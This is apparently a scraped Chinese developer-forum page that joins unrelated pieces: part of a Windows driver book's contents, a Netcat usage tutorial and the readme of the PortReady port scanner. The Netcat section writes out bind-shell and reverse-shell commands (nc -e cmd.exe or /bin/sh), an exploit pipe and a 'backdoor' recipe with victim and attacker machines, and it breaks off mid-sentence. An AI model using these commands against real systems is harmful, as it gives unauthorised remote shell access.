21.1.2 转发并且等待 　　　21.1.3 转发并且设置完成例程 　　　21.1.4 暂时挂起当前IRP 　　　21.1.5 不转发IRP 　　21.2 创建IRP 　　　21.2.1 IoBuildDeviceIoControlRequest 　　　21.2.2 创建有超时的IOCTL IRP 　　　21.2.3 用IoBuildSynchronousFsdRequest创建IRP 　　　21.2.4 关于IoBuildAsynchronousFsdRequest 　　　21.2.5 关于IoAllocateIrp 　　21.3 小结 第22章 过滤驱动程序 　本章主要介绍WDM和NT式过滤驱动程序开发。过滤驱动程序开发十分灵活，可以修改已有驱动程序的功能，也可以对数据进行过滤加密。另外，利用过滤驱动程序还能编写出很多具有相当功能强大的程序来。 　22.1 文件过滤驱动程序 　　22.1.1 过滤驱动程序概念 　　22.1.2 过滤驱动程序的入口函数 　　22.1.3 U盘过滤驱动程序 　　22.1.4 过滤驱动程序加载方法一 　　22.1.5 过滤驱动程序加载方法二 　　22.1.6 过滤驱动程序的AddDevice例程 　　22.1.7 磁盘命令过滤 　22.2 NT式过滤驱动程序 　　22.2.1 NT式过滤驱动程序 　　22.2.2 NT过滤驱动的入口函数 　　22.2.3 挂载过滤驱动 　　22.2.4 过滤键盘读操作 　22.3 小结 　第23章 高级调试技巧 　本章将介绍一些Windows开发驱动的高级调试技巧。有一些高级驱动程序调试技巧，可以帮助程序员找出驱动程序中的Bug。另外，利用一些第三方工具软件，也可以帮助程序员找到驱动程序中的漏洞，从而提高开发效率。 　23.1 一般性调试技巧 　　23.1.1 打印调试信息 　　23.1.2 存储dump信息 　　23.1.3 使用WinDbg调试工具 　23.2 高级内核调试技巧 　　23.2.1 安装VMWare 　　23.2.2 在虚拟机上加载驱动程序 　　23.2.3 VMWare和WinDbg联合调试驱动程序 　23.3 用IRPTrace调试驱动程序 　23.4 小结
NC原版与VC60版本
软件介绍： 工具名：Netcat 作者：Hobbit && Chris Wysopal 类别：开放源码 平台：Linux/BSD/Unix/Windows WINDOWS下版本号：[v1.10 NT] 参数介绍： *nc.exe -h*即可看到各参数的使用方法。 基本格式：nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向，一旦连接，就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式，用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址，不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法： 1)连接到REMOTE主机，例子： 格式：nc -nvv 192.168.x.x 80 讲解：连到192.168.x.x的TCP80端口 2)监听LOCAL主机，例子： 格式：nc -l -p 80 讲解：监听本机的TCP80端口 3)扫描远程主机，例子： 格式：nc -nvv -w2 -z 192.168.x.x 80-445 讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL，例子： 格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接，例子： 格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法（其实NC的用法还有很多， 当配合管道命令”|”与重定向命令””等等命令功能更强大……）。 ======================================================== 高级用法： 6)作攻击程序用，例子： 格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2：nc -nvv 192.168.x.x 80 c:log.txt 讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到*c:log.txt*中，如果把*>* 改为*>>*即可以追加日志 附：*c:log.txt*为日志等 9)作蜜罐用[3]，例子： 格式1：nc -L -p 80 < c:honeypot.txt 格式2：type.exe c:honeypot.txt|nc -L -p 80 讲解：使用*-L*可以不停地监听某一个端口，直到ctrl+c为止，并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 11)反向连接 attacker machine: //一般是sql2,远程溢出,webdavx3攻
XP下的PortReady1.6多线程的端口扫描
┌────────────────────────────────────────────┐ │ Dotpot PortReady 版本1.6 自述文件 │ ├────────────────────────────────────────────┤ │ * 请用记事本在窗口最大化条件下阅读此文件│ │ │ │ 一、软件简介 │ │ │ │ Dotpot PortReady 是一个多线程的端口扫描工具，用于进行狂速端口扫描。它具有极快的速度│ │和方便友好的操作界面，能快速地对大网段范围进行 Connect方式端口扫描。同时具有获取端口标识│ │的功能，可以用来快速地获取端口标识(Banner)，内定对80端口标识进行特别处理,能方便地获取Web│ │Server类型。PortReady 1.6同时提供Windows图形版本和控制台版本，不管是在图形环境下，还是在│ │控制台模式中，都可以方便自如地进行端口扫描。 │ │ │ │ │ │ 二、使用方法 │ │ │ │ 图形版本使用方法一看即知，在此不再赘述。 │ │ │ │ 控制台版本使用方法如下： │ │ │ │ 用法： │ │ PR.EXE <起始地址>[-停止地址] <端口1-端口2|端口1,端口2,...> [选项] │ │ │ │ 选项： │ │ -b 获取端口标识 │ │ -e 显示英文信息 │ │ -o 只显示开放端口 │ │ -d:delay 扫描延时，默认2秒 │ │ -t:thread 线程数目，默认100个线程 │ │ │ │ 例如： │ │ PR.EXE 192.168.0.1 1-65535 -d:1 -e │ │ PR.EXE 192.168.0.1 1-2000 -t:200 -v -b │ │ PR.EXE 192.168.0.1-192.168.9.255 21,3389 -t:200 │ │ │ │ 三、常见问题 │ │ │ │ １．PortReady的运行环境是什么？ │ │ 答：没有进行过严格的运行环境测试。作者在Win98/2000下编译运行正常，按推断应该能运│ │ 行在 Win95/98/ME/NT/2000/XP下。推荐运行于Win2000下，以获得更高的稳定性和更快│ │ 的速度。 │ │ │ │ ２．PortReady用什么原理扫描的？ │ │ 答：用TCP的Connect方式扫描的。端口扫描之前没有进行Ping扫描，原因有二：1.这样能对│ │ 屏蔽ICMP数据的主机进行端口扫描；2.Ping扫描太繁琐了，不会，呵呵~~ │ │ │ │ ３．超时时间怎样选择？ │ │ 答：请根据网速酌情选择超时时间。默认Connect超时时间为2秒，如果要获得更快的速度，│ │ 可设为 1秒，但可能会有漏报现象；相反，如果网速较慢或要更高的准确率，可适当增│ │ 加Connect超时时间，一般不要超过5秒，最大20秒。 │ │ │ │ ４．线程数目怎样选择？ │ │ 答：根据网速和系统情况选择线程数目。默认线程数目为100个，最大为300个线程。如果出│ │ 现线程阻塞，请适当减小线程数目。一般而言，Win2000下可使用更多线程进行扫描。 │ │ │ │ ５．扫描无法停止时怎么办？ │ │ 答：这是出现线程阻塞的缘故。此时应强行关闭程序：命令行版本下按Ctrl+C，图形版本如│ │ 果单击“停止扫描”后依然没有反应，请单击“关闭”按钮，此时可能出现内存泄漏。│ │ │ │ ６．扫描结果在哪里？ │ │ 答：无论是图形版本还是控制台版本，扫描结果都保存在PortList.txt里。运行图形版本程│ │ 序 PortReady.exe，如果没有关闭“保留历史纪录”选项(默认保留历史纪录)，将自动│ │ 导入PortList.txt中的结果。 │ │ │ │ ７．怎样卸载PortReady？ │ │ 答：PortReady是“绿色软件”，所有参数配置都保留在PortReady.ini中，没有在注册表保│ │ 留任何信息。如果要卸载，请自行删除PortReady的相关文件(见下面：文件列表)。 │ │ │ │ ８．PortReady是用什么编写的？ │ │ 答：在Visual C++6.0下用Win32 API编写的。发行版本用LCC-Win32编译的，因为LCC-Win32│ │ 编译可执行文件短小，运行快速。作者没使用相对臃肿的MFC，因为不会，嘿嘿~~ │ │ │ │ ９．PortReady的源代码在哪里有下载，怎样编译？ │ │ 答：点普工作室主页上有下载，网址是：http://dotpot.533.net 。源代码包内含有图形版│ │ 本 LCC-Win32源程序、图形版本VC源程序和控制台版本源程序。你可以选择你熟悉的编│ │ 译工具进行编译(LCC-Win32或Visual C++ 6.0)。 │ │ │ │ １０．PortReady不保留版权么？ │ │ 答：是的。作者不保留本软件的任何权利，用户可免费拷贝、分发、修改本软件及软件源代│ │ 码。如果乐意，可以通知原作者一声，那样原作者会很高兴的:)…… │ │ │ │ １１．还有其它问题怎么办？ 　 │ │ 答：可以到点普工作室主页看看，在留言板上留言，或者给作者写信：yonsm@163.com。 │ │ │ │ │ │ 四 、文件列表 │ │ │ │ PortReady.exe 图形版本主程序文件 │ │ PortReady.ini 图形版本参数配置文件 │ │ PortList.txt 扫描生成的结果文件 │ │ PR.exe 控制台版本主程序文件 │ │ Readme.txt 自述文件 │ │ │ │ │ │ 五 、发布历史 │ │ │ │ PortReady 1.6 发布日期：01/31/2002，整理源代码，改写控制台版本。这可能是终结版本│ │ PortReady 1.2α 发布日期：11/01/2001，图形版增加域名解析、远程登录、结果排序等功能│ │ PortReady 1.1β 发布日期：09/01/2001，图形界面测试版 │ │ PortReady 1.0 发布日期：07/06/2001，更改显示方式，增加获取端口标识等功能 │ │ PortScan 0.92 发布日期：05/27/2001，第一个发布版本，感谢大家测试 │ │ PortScan 0.7 发布日期：05/20/2001，用于进行内部测试 │ │ │ │ │
VC/MFC

16,470

社区成员

421,731

社区内容

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今

加载中

查看更多榜单
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了，记忆之中，与CSDN的年龄几乎差不多。随着时间的推移，MFC技术渐渐的偏离了开发主流，若干年之后的今天，当我们面对着微软的这个经典之笔，内心充满着敬意，那些曾经的记忆，可以说代表着二十年前曾经的辉煌……
        向经典致敬，或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天，我们期待着MFC技术能够恢复其曾经的辉煌，或许这个期待会永远成为一种“梦想”，或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代，期待更好的互联网技术能够使得MFC技术框架得以重现活力，……

试试用AI创作助手写篇文章吧

+ 用AI写文章